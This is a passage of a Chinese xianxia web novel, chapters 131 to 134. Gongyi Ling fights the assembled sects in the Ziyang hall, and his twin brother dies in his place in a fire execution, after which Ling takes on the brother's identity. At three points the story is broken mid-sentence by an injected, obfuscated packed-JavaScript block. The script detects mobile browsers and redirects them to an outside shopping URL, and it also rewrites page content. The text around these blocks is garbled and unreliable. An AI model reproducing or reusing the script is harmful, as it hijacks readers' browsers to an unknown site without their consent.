公仪岭低头去看,与以前的那些信函封面并无不同,依旧是盖上了燕蓉的印章。 不知为何,拿着这封信,他心中蔓延出惶恐的情绪。 燕蓉把这个信寄到他手上定然费了不少心思,不然也不会在第七日的清晨才送到。 能让她这样费心的信,里面写的内容会有多重要?公仪岭不敢去想。 他深吸了一口气,逼得自己镇定下来,拆开了紫锦信函。 公仪岭指尖微颤,打开了里面的信笺,只扫了两眼,一颗心便沉了下来。 131.集议三化殿 山令不得出(三) 公仪岚和承悦奔波了七日,也仅仅只是查到了一点头绪。 眼看着七日之限将至,公仪岚越来越沉默,连带着周围气场都变得压抑起来,山中弟子每个人都噤若寒蝉,不敢多说半个字。 但是没有办法,第七天各家就要在紫阳宗集议,商量该如何处置公仪岭。如果公仪岚没能找到决定性的证据送到紫阳殿内,就没办法阻止他们给公仪岭定罪。 公仪岚回想起小时候。 他只比阿岭大了两岁,但那时候,只因他性子沉静,阿岭性子活泼,他便被自家爹娘送进了书房,学习如何成为一个合格的少宗主。 这一学,就是十几年。 等他们两个人稍微大一些,阿岭的天赋渐显,爹娘对他们两个人寄予厚望,可阿岭天赋虽高,性子却是荒散,即使没有全心全意地把精力放在修行上,还是能甩开了同龄人一大截。 他自知天赋不如阿岭,又不想辜负他人期望,越发努力、克制,成了所有人眼中最完美的继任者、云灵山无可非议的少宗主。 没人知道两个人之间有什么差距,都是觉得公仪岚比弟弟修为更高,行事更稳重。 但公仪岚比谁都明白。 他不愿看见公仪岭浪费自己的天赋,所以从前也会严苛地要求他修习,希望他有一日能够明白自己的用心。 好在,让他欣慰的是,这些日子,公仪岭似乎也变了许多,对修习之事变得更加上心了。 爹娘离开前,叮嘱过他要好好照顾阿岭,可他现在只能眼睁睁看着阿岭受旁人污蔑,自己却没办法找出能够证明他清白的证据。 他觉得自己很无能。 但是,事已至此,趁最坏的结果发生前,他必须早做打算。 * 承悦跟着他,在第七天赶回了云灵山。 按照公仪岚的吩咐,承悦来到了公仪岭的院落,打开了外面的结界。 他进去以后,看见公仪岭正面无表情地在门口擦拭着归云剑,诧异道:“二师兄,你怎么没睡?” 公仪岭已经等待了他许久,听到这话,才抬眼看他:“承悦,你来了。” 承悦见他的身边摆了另一张竹椅,像是早就知道自己会来,犹豫了片刻后,便坐下了。 他调整着呼吸,想尽量让自己的语气变得轻松一些,道:“这几日,你过得还好吧?” 公仪岭没有跟他叙旧的打算,直切主题道:“是大哥让你过来,想要送我走的,对不对?” 承悦没想到他竟然已经知道,当即愣了:“阿岭,你怎么知道?” 这件事情,仅有他们几个调查的人知道。 七天时间,不足以让他们查明,无奈之下,公仪岚不得不采用了这样的方法保全公仪岭,那就是在暗中悄然送走他,送到一个没人能找到的地方。 而这个办法,他们也压根没打算告诉公仪岭。承悦现在过来,就是打算把公仪岭用药迷晕以后,直接将他带走。 但现在公仪岭已经知道了,承悦来不及去思考这事情究竟是谁告诉他的,手悄然想去取袖子里的迷药。 公仪岭没有给他这个机会。 他的眼睛从始至终都牢牢盯着承悦的一举一动,他这样微小的动作,自然没有逃离公仪岭的眼睛。 刹那间,一道黄符贴在了承悦身上,瞬间就令他全身僵硬,动弹不得。 下一秒,归云剑就已经贴上了承悦的脖子。 承悦对上了他那双冰冷的眸子,心中一紧,惊恐道:“阿岭,你疯了?我是承悦!” 公仪岭低低地“嗯”了一声,手上没有丝毫松动。 “承悦,你不必管我从何得知此事,你只告诉我,那日三化殿上,大哥是不是以性命为担保,向他们求来七日时间,查明真相?” 承悦默了很久,才艰难道:“是。如果七日内没查到,我们不把你交出去的话,他们便要拿岚兄和云灵山上下开刀,我们也是……没有办法。” “我明白了。” 公仪岭语气平静,说完便放下了归云剑。 承悦叹息道:“你既已知晓,就该明白岚兄的良苦用心,他出此下策,也是为了护你周全。阿岭,趁现在还来得及,你解开我的封禁,我带你离开。” 公仪岭执剑后退了两步,无声摇头。 “这道黄符是我这七日里改过了的,足够将你封上一日。” 他凝视着承悦,将黑石鬼玉和自己的凤纹玉佩塞进了他的怀中,对承悦道:“我走了。” 承悦惊声道:“阿岭,你要去哪?!” 他没得到公仪岭的回答,只见公仪岭念了法诀,随后自己便发不出声音了。承悦立刻知道是他把自己的声音给封住了。 公仪岭仿佛下定了什么决心,眼眸深如寒潭,提着剑离开了。 午后,紫阳殿内。 除却抱元门并未来人以外,太微山和六弦阁,竟然也无一人到场,原先准备给这三家的位置空悬,几大宗门中,仅有青花谷带着寥寥几人过来。 燕渊冷冷扫了一眼堂下,问燕蓉道:“为何只到了这几家人?” 燕蓉没有抬眸,淡然道:“昨日太微山齐宗主忽然发来信函,称自己抱病在床,不便前来议事;前日六弦阁纪宗主传信言,宗内突发事端,需要自己在场平息,也不便前来议事;至于抱元门么……原先就是没有宗主的,司姑娘这会儿,大概是在云灵山吧。” 这次紫阳宗要议什么事情,所有人心知肚明,众人听了燕蓉的话,再迟钝也明白这些都是托词,单纯是人家不想来而已。 想来也是,修仙的谁不知道齐宗主与公仪岭私交甚好,邀他过来定自己兄弟的罪名,多少也是有些为难人了。 燕渊见他们这般不给面子,略微恼了:“不来便不来,难不成以为没了他们,我们还定不了公仪岭的罪名了吗?!” 燕蓉没有接话,默然站在一旁,听着下面的人讨论。 除了上面没来的几家,剩下来的所有人,几乎都是平日里对公仪岭行事不满,觉得是他背叛宗门,之前在三化殿上应声附和的那些宗门弟子。 如果不是燕渊成了继任宗主后,还是点了自己管事,这样的集会,燕蓉是决计不想前来的。 公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023884|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪岭被关禁闭后,她尝试了好几日也没能与他取得联络,直到昨天夜里,她才成功送出信函,告知了公仪岭实情。 一刻钟后。 当燕蓉听见外面看守大殿弟子倒地的声音,看清楚紫阳殿门口执剑杀过来的那人是何面容,差点一口气没提上来。 燕渊见公仪岭提着剑进紫阳殿,当即冷笑道:“七日期限已到,怎么,是公仪岚想通了,放你过来认罪了?” “认罪?” 公仪岭嗤笑一声,手上剑锋微斜,晃出一道银白亮光。 他扫了一眼在座的所有人,淡声道:“都到齐了,正好,省得我一家一家找过去了。” 这样的动作和话语,无一不是在挑衅着众人。所有人霍然从座位上站起,牢牢地盯着公仪岭的动作。 燕渊不由紧握拳头,警惕道:“这是我紫阳宗的地界,你想在大殿之上做什么?!” 公仪岭寒声道:“做什么?我倒想问问你们想做什么!你们在三化殿上逼得我大哥以性命为担保,今日我若是不来,等你们商议完后,是不是就该去云灵山把我们两个一同拿下?!怎么,你们要我的命还不够,还想要我大哥的命吗!” 底下一位宗主厉声道:“我们何时逼得他以性命担保?还不是他自己说的!” “难不成你们今日还想当众毁诺?!小心我们将你们云灵山上下……” 这句话直接触到了公仪岭的逆鳞,那弟子话还没说完,人就已经飞了出去,被公仪岭死死掐住了喉咙,只要他稍加用力,就能直接捏断此人的喉咙。 “公仪岭,你!” 众人见之色变,纷纷祭出法器,直指大殿中央的人,又担心他会当众把人杀了,一时间都没有轻举妄动。 燕蓉大声道:“公仪岭,你不要冲动!” 公仪岭听到了燕蓉的声音,微微侧头瞥了她一眼,淡淡道:“燕姑娘,你退至一旁,不要插手此事。” 被他抓着脖颈的弟子惊恐不已,四肢拼命挣扎,想要挣脱,却没有一点办法,万般绝望下,竟吓得尿了裤子。 旁边的宗主怒道:“公仪岭!你仗着有几分本事,竟然敢杀到紫阳殿来!真当我们拿你没办法了吗?!” 公仪岭冷笑道:“我便是仗着有几分本事又如何?真以为你们所有人加起来,便能当我的对手了吗?” “简直狂妄!” 虽说自家不是像紫阳宗这样的大宗门,但至少也是有头有脸、有名有姓的,何时遭受过这样的蔑视?众人被激得大怒,已经按捺不住想要动手了。 公仪岭手中弟子已经吓得晕死过去,他猛然将其甩飞出去,力道之大,撞得那位说他狂妄的宗主一个踉跄,倒退了两步。 他既已出手,旁人没了顾忌,也都亮了法器,朝中间冲了过去。 公仪岭周身灵力暴涨,归云剑光扫过,比他们所有人冲过来的速度更快。这样近的距离,众人难以闪避,仅有几个身手较好的宗主堪堪避开,没有受伤。 那几人飞身越过旁人,瞬间便来到了公仪岭旁边,各种法器朝着公仪岭打去,却没伤到他分毫。 132.集议三化殿 山令不得出(四) 几人难掩震惊。 虽然他们并非剑修出身,但在自家那也是没有敌手的存在,他们从前只听说过云灵山双子的名头,并未与他们其中一人交过手,绝没有想到竟然是这样可怕的存在。 这样微小的迟疑,在公仪岭眼中,那就是慢。 太慢了。 慢到他足以一剑刺穿面前几人的心脏,割断他们的喉咙。 但是他没有这么做,他只是划破了他们前襟的衣物,一个扫荡腿把所有包围来的宗主给撂倒在地。 燕渊见势不妙,手中法扇挥出,几道冲天火光燃起,朝着公仪岭飞驰而来,下一秒火舌就能舔舐到公仪岭的身上。 公仪岭眉目微凝,抬剑挑起一名弟子挡在面前,那火光瞬间燎了他的衣物,惊得那弟子凄厉惨叫,滚倒在地,想扑灭火光。 旁边的人趁着他挑剑之时,想要捏诀偷袭,有几个阵修的弟子已经开始起手布阵,想将他困死在这紫阳殿中。 然而公仪岭都不必看,扬手凌空捏住那偷袭之人的衣领,一掌轰出,连带着把那布阵的几个人全部推倒在地,撞得紫阳殿的那几张桌案四分五裂,碎了一地。 那屁股和后背着火的弟子尚且在嗷嗷乱叫,燕蓉看不下去,挥扇舞出一道水流,替他浇灭了这些火。 燕渊见底下几人都不是公仪岭的对手,心中惊诧之余,立即施法将大门封闭了起来,顺道还设下了结界,防止公仪岭逃走。 只要他还在这紫阳殿中,便总有力竭的那一天,插翅也难逃。 燕蓉眉心微动,但也没出手制止,瞥了一眼燕渊,暂且按兵不动。 即便她有心相帮,现在的情况,她也不便出手。 出乎燕渊意料的是,公仪岭看起来完全没有费力之感,打起这些人来,简直可以说是游刃有余,像碾死蝼蚁一样简单。 几番乱战下来,底下的宗主和弟子伤了一片。公仪岭手中归云剑舞得密不透风,几道剑气就把这些人逼退了数丈,每一个还想上前的弟子都被他的掌风推开,受了内伤,半跪在地上呕血。 紫阳殿内惨叫声不绝于耳,哪怕到了这样的时候,公仪岭下手也极有分寸,每个人虽受重伤痛得难以动弹,但伤不至死,顶多养几日也就恢复得过来了。 燕渊没想到他竟然只伤人,没杀人,虽不知他为什么手下留情,但现在下面各家的人看上去都顶不住了,殿内各种摆设桌案也都碎裂满地,他必须得下场亲自制服公仪岭,才能稳定人心。 然而,公仪岭认识他这么久,对燕渊能使出来的一招一式早已了然于胸,仅仅只靠着燕渊的那些修为,根本没办法奈何得了他。 大殿上,几十号人横七竖八倒了一地,没有一个不是蜷缩着手捂伤口,口中一边骂着,一边痛得吐血,恨不能满地乱滚来缓解这撕心裂肺的痛楚。 “公仪岭!你这个叛徒!你那好大哥拼死保下你,你不躲在云灵山夹紧尾巴做人就算了,竟然今日还敢闯入紫阳殿,伤了那么多人!你给我等着,总有一天……” 他骂得狠了,嘴里血沫狂喷,瞪着一双满布血丝的眼睛恶狠狠地看着他。 公仪岭忽然笑了,不疾不徐地走到这人身旁,一脚踩在他的半张脸上,道:“总有一天,你想怎样?” “总有一天,我……我……” 那弟子还想再说什么,抬眼却对上他那冰冷的眼神,心中一寒,顿时被震慑地闭了嘴。 公仪岭冷冷笑着,对着他的下颌狠狠踢了一脚,那弟子口中顿时飞出几颗牙花,一口血喷溅了满地,趴在地上苟延残喘。 众人见他如此心狠手辣,一时间也都不敢再出声谩骂,一个个噤若寒蝉,身子因恐惧和害怕而不住地颤抖。 看着满地重伤之人,燕渊咬牙道:“公仪岭,你的心肠当真歹毒至极!” 公仪岭像是听到了什么天大的笑话,在紫阳殿中央哈哈大笑起来。 “我心肠歹毒?我若是心肠歹毒,现在躺在紫阳殿上的便不是几十个重伤之人,而是几十具尸体!” 公仪岭寒声道:“你们辱我、辱我大哥、辱我宗门,今时今日,我还愿意留你们一条性命,你们就该感恩戴德,庆幸自己运气够好!” “我呸!你这残杀同门的人,竟也敢说这样的冠冕堂皇之词!” 燕渊身上虽然负伤,但并不严重,听到他这话,怒从心中起,手中扇子挥起,又是几道呼啸而来的火焰,却被公仪岭抬剑斩断,根本没伤到公仪岭分毫。 剑光纷乱,道道狠厉,燕渊应对地吃力,但凡动作稍慢一些,就被归云的剑刃割出好几道口子,涌出鲜血来。 扇骨和剑锋交错,每一下都迸发出火光来,灵力四溢,几乎烧得周围的空气都沸腾起来。 从前仙考大会上,燕渊并非没与公仪岭交过手,就算是私下比试,也不在少数。那时候公仪岭都是随心所欲、看起来懒洋洋提不起兴趣的样子,出招也随意凌乱了些,故而燕渊与他比试了几场,也从没觉得自己与他的修为相差太多。 而今年的仙考大会更不必提,燕渊一向觉得是因为历练的时候,公仪岭揭穿了司青筠的真面目,分析出了实情,这才拿了一次榜首之位,算不得什么本事。 然而现在,几招下来,燕渊心中陡然生出一种力不从心的感觉。 恐慌在心底一旦蔓延,那手上招式就逐渐开始破绽百出。 这样的破绽对公仪岭来说,想要捕捉到就像抬手一样简单。 剑出法随,他轻而易举就将燕渊逼得退无可退。 眼看着归云朝自己刺来,燕渊匆忙闪避后,情急之下如利刃出鞘般飞出折扇,想要直取公仪岭的性命。 这样的把戏,对公仪岭来说已经玩腻了,他瞬间凌空捏住扇骨,手上灵力汇聚,眼看着燕渊的那把法扇就要被他硬生生折断。 燕蓉惊声大喊:“公仪岭!别——!” 把法扇折断对他们来说意味着什么不言而喻,燕蓉见他眼中汹涌杀意,知道仅靠着只言片语根本没办法阻止。 这样关键的时刻,她不得不出手,飞出浮光青玉扇,将他手中燕渊的扇子打落在地。 “燕蓉!” 公仪岭一声怒喝,目光灼灼看向她。 燕蓉冷汗涔涔:“公仪岭,你知道法扇对我们而言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033058|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何其重要!难道你能眼睁睁看着自己的佩剑被人折断吗?!” 公仪岭闻言,思绪拉扯,像是回忆起了什么,手中剑势停顿了片刻。 一瞬间,燕渊便收回了自己的扇子,趁着他失神的片刻大喝一声,用尽了全身灵力朝他攻去。 公仪岭眸光一凝,抬剑挡下了燕渊这全力一击,反手将他撂倒在地,震得燕渊感觉自己的五脏六腑全都错了位,在地上滚了两圈,难以动弹。 下一秒,寒光闪过,归云锋利的剑尖直指燕渊的咽喉。 “解开结界。” 他垂眸注视燕渊,语气不容置疑。 燕渊冷眼看着他,嘴上依旧说道:“好你个公仪岭,你杀了我阿姐,杀了我爹,现在还想把我也杀了!我只恨之前认识的时候,竟然没看出你的狼子野心!我若是死了,做鬼也不会放过你!” 燕蓉听了他的一番话,吓得面如土色,在旁边急声道:“宗主!你先别说了!” 随后又对公仪岭道:“公仪岭!你冷静点,别下手杀他!” 公仪岭手中归云朝着燕渊又逼近了几寸,他没再继续盯着燕渊,而是转而看向燕蓉,冷冷道:“燕蓉,你把结界打开,我便不杀他。” 燕渊怒喝道:“师姐别开!我就算死了也不会放他离开!” 公仪岭觉得好笑,弯了弯腰,端详了一阵燕渊,道:“哦?不放我走?燕渊,你可知道,我把你杀了以后,自己闯出结界也是一样的,我给燕蓉一个机会,算是放过你性命,你怎么还是这么不知好歹呢?” 燕蓉深吸了一口气,凝视着公仪岭,一字一句道:“我会帮你打开结界,公仪岭,你不要对他下死手,一切都还来得及。” “来不及了,燕蓉。” 公仪岭苦笑着看向她,眼神满目悲凉,沉默了许久,才缓缓道:“他日有缘相逢,你我再把酒言欢,今日,就此别过吧。” 燕蓉嘴唇微张,似是还想说什么,可最后只是叹了口气。 她抬手挥扇,解开了殿门口的结界,随后,一阵劲风刮过,撞开了紫阳殿的那扇鎏金大门。 燕蓉道:“你走吧。” 公仪岭对她点了点头,抬腕收起归云,身影闪过,转瞬间就离开了紫阳殿。 可是,哪怕燕蓉放走了他,他又该何去何从呢。 难得的,公仪岭眼中露出迷惘,怔怔地走在紫阳殿外的广场之上。 短短七日,还不足以全部清理完这片血流成河的广场,原先光洁如玉的地砖,到现在还渗着丝丝去不掉的殷红。 外面守着的一干弟子全都被公仪岭放倒,昏迷在地,等公仪岚赶来之时,看到的便是这样满目疮痍的狼藉景象,还有摇摇晃晃走在广场上,看起来失魂落魄的公仪岭。 公仪岚看见这样的场景,便知自己还是晚来了一步。 “阿岭!” 熟悉的声音,唤起了公仪岭的一点灵识,他迷茫地抬头,时隔多日,终于又看见了公仪岚的身影。 “大哥……” 公仪岭喃喃叫出这两个字,刚往公仪岚那边走了两步,便觉一阵头晕目眩,失去了意识。 133.火焚身祭旗 舍魂起杀阵(一) 这一次,公仪岭是强行被人唤醒的。 他不知自己昏迷了多久,混混沌沌想起来的时候,才意识到大哥这一次的迷药剂量下的很足,够他昏睡上四五日了。 醒来看见人的时候,公仪岭险些以为自己还没醒。 他的眼睛闭上以后,思考了一下,确认了自己是躺在大哥的房间。迟疑了片刻后,再度睁开,看见边上依旧端端正正坐着司月吟,当即怔住了。 司月吟脸上似有泪痕,手上还拿着一种特制的熏香,袅袅地飘着细烟。 公仪岭想起昏迷的时候在梦中闻到的异香,大概猜到了是司月吟用这个熏香才提前唤醒了自己。 司月吟原本还垂着眼眸,忽然意识到床上躺着的人已经醒来,才下意识抬手擦了擦眼泪,对公仪岭轻声道:“阿岭,你醒了。” 公仪岭捂着额角,晃了晃脑袋,勉强清醒过来,才问道:“大嫂……你怎么在这儿?是大哥让你来看着我的吗?” 他说完,又觉得有些不妥,要是找人看着他的话,再怎么说也该找承悦才对,怎么会让司月吟来? 司月吟平复了情绪,沉默了很久,才道:“阿岭,从今往后,你便是公仪岚。” 公仪岭恍惚了一下,以为自己没听清,又喃喃问了一句:“大嫂,你说什么?” 司月吟闭了闭眼,却是答非所问:“阿岭,他临走前,为你换好了衣服,他说,你要好好地活。” 公仪岭低下头,这时候才发现自己身上已经换成了大哥平日里最常穿的那件暗红衣袍。 他蓦然反应过来司月吟的话,心中顿时一紧,翻身下床,颤声追问道:“临走前?走去哪?” 司月吟没有回答,只是起身从房中桌案上取来一面铜镜,放在他的脸前。 公仪岭没得到她的话,心中忧心更重,下意识抬眼对上了镜子里的自己,呆在了原地。 镜子里映出一张他最熟悉的面容,现在已然变成的公仪岚往日的模样,就连衣饰和头发,都分毫不差。 哪怕是他自己这样看,也险些错认,以为镜子里的并非自己,而是公仪岚。 公仪岭惶恐不安,身子不受控制地战栗起来,手上甚至握不住铜镜,“啪嗒”一声,掉在地上,这面铜镜瞬间碎裂成了四五瓣。 是做梦吗? 可是周围的场景是多么的清晰,明明确确在告诉自己,这一切不是做梦。 如果不是做梦,那公仪岭真的希望这是一场梦,他永远也不想醒来。 哪怕他不想去想那个可怕的可能,但这种恐惧还是不受控制地爬上了他的心头。 公仪岭跌坐在床边,良久,他捂住了脸。 可即便是这样,也无法阻止眼角溢出的泪水。 司月吟见他如此,眼眶发红,在他面前蹲下,一只手按在了他的头上,哑着声道:“阿岭,不出几日他们与玄霄殿决战,会审结果已下,他们要拿你祭旗,以火焚身,以安人心。阿岚他……他是真的没办法了,才会……” “让我去啊!如果非要有一个人死的话,为什么不让我去?!” 公仪岭终于忍不住了,满脸泪水,崩溃大喊:“大哥他什么都没做错……误杀燕婉的是我,跑去紫阳殿打伤他们的也是我!我根本没想过自己能活着回去!” 司月吟声音哽咽:“阿岚那日在三化殿上立下重诺,却没能在七日内查明真相,他很自责,没能保护好你。” 公仪岭喉头忽然涌上腥甜,他恍如未闻,猛然从地上起身,拽住司月吟的衣袖。再次看向司月吟之时,眼中尽是哀求。 “大嫂,我求你,你告诉我,大哥他现在究竟在何处?趁现在还来得及……趁现在还来得及!你让我过去,你让我去拦住他……算我求你……” 司月吟神色悲哀,用尽了全身的气力勉强吐出一口气,艰难道:“来不及了,阿岭,他的药足以让你昏迷五日,是我私心让你提前两日醒来,这样的话,至少你还能见到他最后一面。” “什么?你说什么?什么最后一面?” 公仪岭踉跄半步,难以置信。 司月吟轻声道:“阿岭,三日前,紫阳宗的这场大火,就已经开始了。” 为仙之人,普通的烈火若是想完全将其焚化,不烧上个三日三夜,是烧不干净的。 司月吟最终还是跟着公仪岭一起去了紫阳宗。 在旁人看来,他们两个人一同前来,是来送公仪岭最后一程。 天经地义,合乎情理,没人会对此说什么。 虽说众人也奇,为何公仪岭上祭天台之时,公仪岚为何没有前来。但这样的猜疑,在派了弟子去云灵山看见公仪岚昏迷在床,司月吟从旁照料的景象以后,便烟消云散了。 因为公仪承悦是这样说的:二师兄担心宗主前来祭天台阻拦,故而在重伤紫阳殿众人后,便令其昏睡五日,自行前来领罪。 而一步一步走上祭天台的那青衣仙人,也正是公仪岭的模样。 就连齐元白,也仅仅只看了那人一眼,便闭上了眼,不愿再看后面会发生什么事情。 大火连烧三日,零零散散地,有许多仙人不忍见这样的惨景,最终摇着头离开。 等公仪岭与司月吟来到此地之时,两边也仅有寥寥几人停留,默然看着那灼灼火光。 齐元白一直没走。 时至今日,除了他,恐怕也没几人会守在此地,只为等烈火停歇,将公仪岭的骨灰收殓。 祭天台处不允许任何人上去。 所以齐元白在看见公仪岚和司月吟过来的时候,心中一片悲凉,却也无可奈何。 他清楚地看见公仪岚满脸的泪痕,看见他根本不顾周围人大声的劝阻,便冲上了祭天台。 祭天台上还燃着熊熊大火,他这样无异于飞蛾扑火,自寻死路。 “岚兄——!” 齐元白惊恐大喊,可那公仪岚没给任何人一个眼神,甚至连善承和玄微两位长老都没能拦下他。 一股强大的力量席卷而来,所有人反应不及,就已经被掀翻倒地,未等他们狼狈起身,整个台下都被结界遮蔽,再也看不见公仪岚的背影,也听不见里面的声音了。 世界瞬间寂静。 火焰在眼前跳跃燃烧,像在阻止他继续向前。 周身护体的仙障自行展开,公仪岭在烈火中穿梭,直到站到了那刑架面前,指尖死死嵌入木头烧开的裂缝之中,哪怕渗出鲜血也毫无知觉。 三天过去,连那千年沉木制成的刑架,都已经被烧成了残破的黑色断木。石链断裂散落一地,无论公仪岭怎么寻找,也没能找到里面的人。 只剩下地上那一堆白色齑粉。 是在做梦吗? 公仪岭僵硬在那里,许久许久,才慢慢跪倒在地,颤着手想要去触碰,却又在即将触碰到的时候,又微不可查地缩了缩。 没有了,什么都没有了。 视线里再也没有从前那个红衣身影,只剩下面前这堆风一吹就散的灰烬。 周身传来的痛感清清楚楚地告诉他,这不是梦。 这竟然不是梦。 “不是真的……都不是真的……!” 公仪岭双手覆脸,绝望地哭喊。 眼泪早已经流干,是火光模糊了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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公仪岭再也忍不住了,泪水夺眶而出,疯狂地伸出手想要挽留住眼前的人。 可是公仪岚却没再说一句话。 凝结成的灵力与魂魄无法为他支撑太长的时间,能与公仪岭说上话已耗尽了全部。 公仪岭看着他的身形越来越淡,恐慌和害怕几乎将他淹没,他周围灵力四散,想要握住公仪岚的透明的手,输送自己的灵力给他维持身形,然而不管他如何耗费灵力,也起不到一点作用,那些散在空中的流光只会重新回到他的身体中。 地上残缺的灵力再也维持不了公仪岚的身形,随着最后一丝流光黯淡下去,那浅淡的轮廓也终于消散在火光之中。 “不——不要!” 公仪岭睁大了眼,想要站起身,可双腿却怎么也不听使唤,连滚带爬地想去追逐,可终究只是一场幻影,无迹可寻。 即便公仪岭有仙障护体,但长时间站在烈火中间,也极难保全自身,等到火焰把仙障燃尽,便开始朝着他的身子燃去。 灼烧的疼痛袭来,公仪岭恍若未觉,尚且跪在祭天台上摸索着,还想要找到余下的灵力和魂魄,然而整个祭天台上却再也找不到了,就连他腰间的龙纹玉佩也慢慢凉了下来,恢复成了平日的样子。 不知过了多久,他身上烈火燃过的疼痛逐渐消减,取而代之的是一片冰凉。 眼前的火光渐微,直到完全熄灭。 下雨了。 公仪岭抬头望天,伸手触碰了自己面上的湿润,分不清是雨水还是泪水。 134.火焚身祭旗 舍魂起杀阵(二) 外面的人也急疯了。 齐元白不知道公仪岚给他们设下的是什么结界,他凭空画了许多咒诀,甚至咬破了手指用血液作符,想要破了结界出去把人拽出来,却没有一点用。 他想去问旁边的司月吟,却见司月吟双目空洞、毫无生气地跪坐在地上,像是丢了魂魄一样,连动都没动一下。 齐元白心中哀叹,尝试了许久也未得其法,便猜测这是云灵山自家的某种特殊结界。最后,还是两位长老合力,强行破开了结界。 又或者是里面公仪岚没有了再用灵力去支撑结界的念头,那结界失去了灵力维护,发出一声炸响,碎裂开来,在风中四散开来。 等他们上了祭天台想要劝公仪岚节哀的时候,看见的却是他目光呆直地收殓着地上的骨灰,不管他们喊了什么,全都置若罔闻。 众人别无他法,只能安静地站在公仪岚的身后,都不再出声。 直到公仪岚做完了一切,回过头来,众人才惊惧地发现他的右脸竟留下一块通红的烧伤痕迹。 齐元白颤声道:“岚兄,你的脸……” 公仪岭灵识尚未归位,恍惚间听到齐元白这样称呼,迟疑了两秒才回过神来,抬手碰了碰右脸,终于感受到了灼烧的刺痛。 烧就烧了吧,公仪岭毫不在意地想。 唯一觉得可惜的是,以后他照着铜镜的时候,再也不能看见公仪岚从前的面容了。 许是浓烟伤了他的嗓子,公仪岚的声音听起来比平常更加低沉了一些。齐元白见公仪岚沉默了片刻,他才哑着声道:“齐兄,我带阿岭回云灵山。” * 司月吟坐在桌案前,等了他很久。 她好像在看公仪岚从前亲笔写的那些文书,公仪岭只往那边看了一眼,不敢确定。 公仪岭坐在床榻边,手中拿着半张银箔面具,低头凝视了许久,终于还是将它戴在了脸上。 司月吟尝试了很多办法,也没能去掉他脸上的疤痕。 这张银箔面具是今日她过来的时候,给他带来的,她说,自己去请了孟家的人打了这张银箔面具,为他遮盖烧伤的疤痕。 孟正初和孟妙意当时也在场,知道发生了什么事情,很干脆地答应了下来。 公仪岭抚摸着脸上冰凉的雕花,觉得这样也好。 仙家的那些人本就辨不清楚两兄弟的长相,他只担心让熟悉的人知晓,有了面具遮挡的话,也许就不会露出破绽。 公仪岚的骨灰葬在了后山,与父母的衣冠冢并排,只是上面的名字写的却是公仪岭的名字。 他曾开口问司月吟,承悦那时候这样说,是不是也知道内情。 但司月吟却说,世上如今只有他们两个人知晓。 那日公仪岚解开了承悦的声音,问了他情况后,并未给他解开禁制,而是直接赶去了紫阳宗拦人。 等承悦自己解开禁制,到公仪岚房间的时候,见到的已经是躺在床上穿着公仪岚衣服,昏迷许久的公仪岭了。 而公仪岭也只与他交代了那样一句话,便离开了。 云灵山的所有结界都是他亲手设下的,承悦即便是想要拦也拦不住。 院外面,仙侍的通报声传来:“宗主、司姑娘,太微山的齐宗主和六弦阁的纪宗主来了。” 公仪岭微微一愣,随即反应过来他们应该是来吊唁的。 他应答道:“知道了,我稍后便出去。” 他还有事情要和司月吟说。 但这个事情,公仪岭却不知道该怎么开口,为难了很久,才下定了决心,走到了桌案面前。 司月吟察觉到面前多了一个人,擦了擦脸上的泪,把手上的纸张放回桌面上,抬头轻声问他:“阿岭,怎么了?” 公仪岭低声道:“大嫂,事已至此,你跟我大哥的婚约……届时,我会想办法与两位长老说明,把婚约取消。” 司月吟不置可否,思虑了片刻后,还是缓缓道:“总归还有半年的时间,阿岭,你不必着急。” 公仪岭也没再多说什么,望了望房门外,道:“大嫂,元白他们来了,我们该出去了。” 司月吟刚刚也听到了门外仙侍说的话,轻轻点头,起身与他一起出了门。 仙侍不疑有他,将两人带到了正殿处。 堂下两人看见他右脸戴了半张面具,也是一怔,片刻后,纪银灵才起身对他道:“公仪宗主,今日冒昧前来,请您谅解。” 齐元白垂眸道:“岚兄,我来看看阿岭。” 公仪岭对他们点了点头,不敢多说什么惹两人生疑,只说了一句:“你们随我来。” 齐元白能来,他也实属意外。清鸢不久前才刚亡故,这时候,太微山上下恐怕也都挂着白幡,公仪岭自己都还没能前去吊唁,反倒是齐元白先来了,令他有些酸涩。 一行人随着他来到云灵后山,公仪岭没有进去,安静地在外面等着他们说完。 后山与从前并未有什么太大的变化,除了某片稍远些的位置,公仪岭一眼眺望过去,似乎觉得有哪里变了,但是怎么也想不出来区别。 他平日里偶尔会在后山钓鱼和练剑,但并不在这个方位,故而对这边的景色只有些许印象,不太深刻。 他凝眸仔细想去再看,齐元白和纪银灵却已经说得差不多了,公仪岭这才收回了目光。 吊唁的过程很快,大约是他们两个人也不忍再看,只寥寥对着墓碑说了没几句话,就出来了。 齐元白犹豫了一会儿,还是对他道:“岚兄,他们这些日子正在商议部署战局的事情,我们也不能久待,等两日后,便要前去攻打玄霄殿了。” 